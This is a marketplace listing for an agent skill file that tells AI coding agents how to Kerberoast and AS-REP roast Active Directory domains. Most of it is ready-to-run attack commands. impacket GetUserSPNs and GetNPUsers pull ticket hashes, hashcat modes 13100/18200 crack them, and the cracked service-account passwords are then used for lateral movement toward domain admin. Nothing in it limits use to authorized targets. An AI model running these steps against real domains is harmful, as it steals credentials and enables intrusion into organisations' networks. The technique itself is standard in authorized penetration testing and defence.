# Ad Kerberoasting

> Kerberoasting & AS-REP roasting — request/crack Kerberos tickets to recover service/user passwords offline. Load with any domain foothold or valid domain creds, on "kerberoast", "AS-REP", SPNs, service accounts, ports 88/389. Signals: domain creds in hand, SPNs set, accounts with pre-auth disabled.

- Skill: `noorqureshi/ad-kerberoasting` (Agent Skill)
- Install (CLI): `npx skillmds@latest add noorqureshi/ad-kerberoasting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/noorqureshi/ad-kerberoasting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: NoorQureshi (https://skillmd.com/u/noorqureshi)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/noorqureshi/ad-kerberoasting

---


# Kerberoasting & AS-REP roasting

## When it applies
You have valid domain credentials (kerberoasting) or just a username list (AS-REP). Both recover
plaintext passwords offline by cracking Kerberos-issued material — no lockout risk.

## Why it works
- **Kerberoasting**: any authenticated user can request a service ticket (TGS) for any account
  with an SPN; part of it is encrypted with the service account's password hash. Crack it offline.
- **AS-REP roasting**: accounts with "do not require Kerberos preauth" hand out an AS-REP
  encrypted with the user's key to *anyone* — no creds needed, just the username.

## Method
1. **Kerberoast** (need creds): `impacket-GetUserSPNs corp.local/user:pass -dc-ip DC -request`
   (or `nxc ldap DC -u user -p pass --kerberoasting out.txt`). Service accounts are prime targets.
2. **AS-REP roast** (no creds needed): `impacket-GetNPUsers corp.local/ -usersfile users.txt
   -no-pass -request` — pulls hashes for pre-auth-disabled accounts.
3. **Crack offline**: `hashcat -m 13100` (TGS) / `-m 18200` (AS-REP) with `rockyou` + rules.
4. **Use the creds**: service accounts are often privileged → lateral movement / DA path
   (`ad-pivot-arsenal`, `network-pivoting-tunneling`).

## Gotchas
- Offline cracking = no account lockout, but a weak-password dependency; strong passwords resist.
- Target high-value SPNs (SQL, web, admin service accounts) first.
- Clock skew breaks Kerberos — sync time to the DC (`ntpdate`/`faketime`) if you get KRB_AP_ERR_SKEW.

## Verify success
A cracked plaintext password for a domain account, then authenticated access with it.

## References
impacket GetUserSPNs/GetNPUsers; hashcat modes 13100/18200; "Kerberoasting" (Harmj0y).